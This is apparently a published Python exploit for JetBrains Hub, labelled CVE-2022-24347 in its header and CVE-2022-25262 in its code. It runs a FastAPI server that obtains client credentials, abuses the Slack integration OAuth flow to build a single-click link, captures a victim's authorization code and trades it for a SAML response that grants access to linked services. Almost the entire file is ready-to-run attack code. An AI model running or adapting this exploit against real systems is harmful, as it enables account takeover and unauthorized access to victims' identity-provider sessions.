README.md
Rendering markdown...
# Exploit Title: JetBrains Hub - single-click SAML response takeover
# Date: 03-08-2021
# Exploit Author: Yurii Sanin (https://twitter.com/SaninYurii)
# Software Link: https://www.jetbrains.com/hub/
# Affected Version(s): <2022.1.14434
# CVE : CVE-2022-24347
#
# Run: python3 exploit.py
# Usage: http://{exploit-host}/get-exploit-link?hub_url={!}&youtrack_url={?}&issuer={!}&acs_url={!}
# Example: http://example.com/get-exploit-link?hub_url=http://localhost:8088&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml
# Example: curl -X GET "http://95d7-2a02-a317-2246-5380-a000-6c2e-e6c1-7c07.ngrok.io/get-exploit-link?hub_url=http%3a%2f%2flocalhost%3a8088&issuer=hello&acs_url=hello"
import json
import uuid
import zlib
import socket
import logging
import uvicorn
import argparse
import requests
import ipaddress
from base64 import b64encode, b64decode
from typing import Optional
from html.parser import HTMLParser
from urllib.parse import parse_qs, urlencode, urlparse
from fastapi import FastAPI, Form, Request, HTTPException
from fastapi.responses import RedirectResponse
authorization_code = None
saml_info = None
UNEXPECTED_ERROR_MESSAGE = "Unexpected error."
parser = argparse.ArgumentParser()
parser.add_argument("-p", help="Uvicorn port", default=8000)
logger = logging.getLogger("CVE-2022-25262")
logging.basicConfig(level=logging.INFO)
app = FastAPI()
class SamlResponseParser(HTMLParser):
_saml_response = None
def get_saml_response(self):
return self._saml_response
def handle_starttag(self, tag, attrs):
if tag != "input":
return
is_saml_response_input = False
for attr in attrs:
if attr[0] == "name" and attr[1] == "SAMLResponse":
is_saml_response_input = True
continue
if is_saml_response_input and attr[0] == "value":
self._saml_response = attr[1]
break
SAML_REQUEST_TEMPLATE = """<?xml version="1.0"?>
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="samlr-e39fb8d6-4ab9-11ec-8cb9-e647e2cb2441" IssueInstant="2021-11-21T10:57:59Z" Version="2.0" AssertionConsumerServiceURL="{acs_url}">
<saml:Issuer>{issuer}</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"/>
</samlp:AuthnRequest>"""
def get_new_service_credentials(hub_url):
try:
service_response = requests.post(
f"{hub_url}/api/rest/services",
params=dict(fields="id,secret"),
json=dict(
id=str(uuid.uuid4()),
name=str(uuid.uuid4()),
homeUrl=f"http://{uuid.uuid4()}.com"))
if service_response.status_code != 200:
logger.error(f"[ERROR] - can't create Hub service, unexpected HTTP status code '{service_response.status_code}'.")
return None
except Exception:
logger.error("[ERROR] - can't create Hub service due to exception.")
return None
response_content = json.loads(service_response.content)
return dict(
id=response_content["id"],
secret=response_content["secret"])
def get_youtrack_mobile_credentials(youtrack_url):
try:
response = requests.get(
f"{youtrack_url}/api/config",
params=dict(fields="mobile(serviceSecret,serviceId)"))
if response.status_code != 200:
logger.error(f"[ERROR] - can't get mobile config, unexpected HTTP status code '{response.status_code}'.")
return None
except Exception:
logger.error("[ERROR] - can't get mobile config due to exception.")
return None
response_content = json.loads(response.content)
return dict(
id=response_content["mobile"]["serviceId"],
secret=response_content["mobile"]["serviceSecret"])
def get_slack_service_id(hub_url, credentials):
basic_credentials = b64encode(f"{credentials['id']}:{credentials['secret']}".encode("ascii")).decode("ascii")
try:
response = requests.post(
f"{hub_url}/api/rest/oauth2/token",
data=dict(
grant_type="client_credentials",
scope="YouTrack%20Slack%20Integration"),
headers={"Authorization": f"Basic {basic_credentials}"})
if response.status_code != 200:
logger.error(f"[ERROR] - can't get Slack service ID, unexpected HTTP status code '{response.status_code}'.")
return None
except Exception:
logger.error("[ERROR] - can't get Slack service ID due to exception.")
return None
return json.loads(response.content)["scope"]
def get_valid_saml_state(hub_url, relay_state, issuer, acs_url):
saml_request_plain = SAML_REQUEST_TEMPLATE.format(acs_url=acs_url, issuer=issuer)
saml_request = b64encode(zlib.compress(saml_request_plain.encode('utf-8'))[2:-4]).decode("utf-8")
try:
response = requests.get(
f"{hub_url}/api/rest/saml2",
params=dict(RelayState=relay_state, SAMLRequest=saml_request),
allow_redirects=False)
if response.status_code not in [301, 302, 303, 307]:
logger.error(f"[ERROR] - can't get state, unexpected HTTP status code '{response.status_code}'.")
return None
location_with_state = urlparse(response.headers['Location']).query
except Exception:
logger.error("[ERROR] - can't get SAML state parameter due to exception.")
return None
if location_with_state is None:
logger.error("[ERROR] - can't get SAML state parameter, location is empty.")
return None
parsed_qs = parse_qs(location_with_state)
if "message_token" in parsed_qs:
return dict(
success=False,
message_token=parsed_qs.get("message_token")[0])
return dict(success=True, state=parsed_qs.get("state")[0])
def get_valid_slack_state(exploit_host):
try:
response = requests.post(
f"https://konnector.services.jetbrains.com/youtrack/authorize",
data={
"baseUrl": exploit_host,
"service.id": str(uuid.uuid4()),
"service.secret":str(uuid.uuid4())},
allow_redirects=False)
if response.status_code not in [301, 302, 303, 307]:
logger.error(f"[ERROR] - can't get Slack state, unexpected HTTP status code '{response.status_code}'.")
return None
location_with_state = urlparse(response.headers['Location']).query
except Exception:
logger.error("[ERROR] - can't get Slack state due to exception.")
return None
if location_with_state is None:
logger.error("[ERROR] - can't get state parameter, location is empty.")
return None
return parse_qs(location_with_state)['state'][0]
def exchange_auth_code_for_saml(hub_url, code, state):
try:
response = requests.get(
f"{hub_url}/api/rest/saml2/oauth",
params=dict(code=code, state=state),
allow_redirects=False)
if response.status_code not in [200, 301, 302, 303, 307]:
logger.error(f"[ERROR] - can't get SAML response, unexpected HTTP status code '{response.status_code}'.")
return None
if response.status_code in [301, 302, 303, 307]:
location = urlparse(response.headers['Location']).query
parsed_qs = parse_qs(location)
if "message_token" in parsed_qs:
return dict(success=False,message_token=parsed_qs.get("message_token")[0])
except Exception:
logger.error("[ERROR] - can't get SAML response due to exception.")
return None
parser = SamlResponseParser()
parser.feed(response.content.decode("utf-8"))
return dict(success=True, saml_response=parser.get_saml_response())
def get_oauth_error_message(hub_url, message_token):
try:
response = requests.get(
f"{hub_url}/api/rest/oauth/message",
params=dict(token=message_token))
if response.status_code != 200:
logger.error(f"[ERROR] - can't get OAuth error message, unexpected HTTP status code '{response.status_code}'.")
return None
except Exception:
logger.error("[ERROR] - can't get OAuth error message due to exception.")
return None
return json.loads(response.content)["error_description"]
@app.get("/api/config")
def get_api_config():
response = dict(
ring=dict(
serviceId="932261d0-deeb-4468-a296-38806c1cf968",
url = "/hub"),
build="30245"
)
return response
@app.post("/hub/api/rest/oauth2/token")
def get_oauth_access_token(code: Optional[str] = Form(None)):
if code is not None:
logger.info(f"[OK] - authorization code '{code}' is captured, trying to get OAuth state for SAML.")
saml_state_result = get_valid_saml_state(
saml_info["hub_url"],
saml_info["relay_state"],
saml_info["issuer"],
saml_info["acs_url"])
if saml_state_result is None or not saml_state_result["success"]:
logger.error("[ERROR] - can't get state for SAML.")
error_message = get_oauth_error_message(
saml_info["hub_url"],
saml_state_result["message_token"])
logger.error(f"[ERROR] - can't get SAML state, error: '{error_message}'.")
raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE)
logger.info(f"[OK] - SAML state is '{saml_state_result['state']}'. Trying to exchange authz code for SAML response.")
saml_response_result = exchange_auth_code_for_saml(saml_info["hub_url"], code, saml_state_result["state"])
if saml_response_result is None or not saml_response_result["success"]:
error_message = get_oauth_error_message(
saml_info["hub_url"],
saml_response_result["message_token"])
logger.error(f"[ERROR] - can't exchange code for SAML response, error: '{error_message}'.")
raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE)
decoded = b64decode(saml_response_result['saml_response'])
try:
result = zlib.decompress(decoded, -15)
except Exception:
result = decoded
logger.info(f"[OK] - SAML response (decoded): '{result.decode('utf-8')}'")
logger.info(f"[OK] - SAML response (encoded): '{saml_response_result['saml_response']}'.")
return dict(
access_token="1636472357507.ff9a0f96-4e57-4a1b-bc47-f1464cfc7003.c80ab5e2-3759-4208-b784-5c737c7b9ccc.0-0-0-0-0 c311a74e-0f81-433b-9338-5fbe3f339fee ff9a0f96-4e57-4a1b-bc47-f1464cfc7003;1.MCwCFHqqdCvcxNfQfEd21YTKGmyUPszIAhRUg2soetia0NdIl/JLP6bCxyGk3A==",
token_type="Bearer",
expires_in=3600,
refresh_token=str(uuid.uuid4()),
scope="0-0-0-0-0 c311a74e-0f81-433b-9338-5fbe3f339fee ff9a0f96-4e57-4a1b-bc47-f1464cfc7003"
)
@app.get("/get-exploit-link")
def exploit(request: Request, hub_url: str, issuer: str, acs_url: str, youtrack_url: Optional[str] = None):
is_global = ipaddress.ip_address(socket.gethostbyname(request.base_url.hostname)).is_global
if not is_global:
logger.error("[ERROR] - the app should be accessible externally.")
raise HTTPException(status_code=400, detail="The app should be accessible externaly.")
if hub_url is None:
logger.error("[ERROR] - Hub URL is not provided.")
raise HTTPException(status_code=400, detail="Hub URL is not provided.")
parsed_hub_url = urlparse(hub_url)
if parsed_hub_url.scheme not in ["http", "https"] or parsed_hub_url.hostname is None:
logger.error(f"[ERROR] - provided Hub URL '{hub_url}' is not valid URL.")
raise HTTPException(status_code=400, detail="Hub URL is not provided.")
global saml_info
logger.info(f"[OK] - trying to use the following Hub URL '{hub_url}' for the attack.")
saml_info = dict(
hub_url=hub_url,
relay_state=str(uuid.uuid4()),
issuer=issuer,
acs_url=acs_url)
client_credentials = get_new_service_credentials(hub_url)
if client_credentials is None:
if youtrack_url is None:
logger.error("[ERROR] - can't get client credentials for Hub, provide YouTrack URL using 'youtrack_url' query param.")
raise HTTPException(status_code=400, detail="Can't get client credentials for Hub, provide YouTrack URL using 'youtrack_url' query param")
logger.info("[WARN] - failed to get Hub service credentials, trying to get YouTrack Mobile credentials.")
client_credentials = get_youtrack_mobile_credentials(youtrack_url)
if client_credentials is None:
logger.error("[ERROR] - can't get YouTrack Mobile client credentials.")
raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE)
logger.info("[OK] - YouTrack Mobile client credentials obtained.")
slack_service_id = get_slack_service_id(hub_url, client_credentials)
if slack_service_id is None:
logger.error("[ERROR] - can't get Slack service ID (Seems like Slack Integration service is missing).")
raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE)
logger.info(f"[OK] - the Hub instance has Slack Integration service with ID '{slack_service_id}' enabled.")
exploit_url = f"{request.base_url.scheme}://{request.base_url.hostname}"
if request.base_url.port is not None:
exploit_url = f"{exploit_url}:{request.base_url.port}"
logger.info("[OK] - trying to get Slack integration state (it may take several minutes).")
slack_state = get_valid_slack_state(exploit_url)
if slack_state is None:
logger.error("[ERROR] - can't get Slack state.")
raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE)
logger.info(f"[OK] - Slack integration state is '{slack_state}'.")
params = dict(
client_id=slack_service_id,
response_type="code",
scope=f"Hub YouTrack TeamCity Upsource {slack_service_id}",
state=slack_state,
redirectURI="https://konnector.services.jetbrains.com/ring/oauth",
access_type="offline"
)
exploit_url = f"{hub_url}/api/rest/oauth2/auth?{urlencode(params)}"
logger.info(f"[OK] - exploit URL: '{exploit_url}'.")
return dict(exploit_url=exploit_url)
if __name__ == '__main__':
print("|----------------------------------------------------------------------------------------|")
print("| CVE-2022-25262 misconfiguration leading to SAML request takeover in JetBrains Hub |")
print("| developed by Yurii Sanin (Twitter: @SaninYurii) |")
print("|----------------------------------------------------------------------------------------|")
args = parser.parse_args()
uvicorn.run(app, host="0.0.0.0", port=args.p, log_level="info")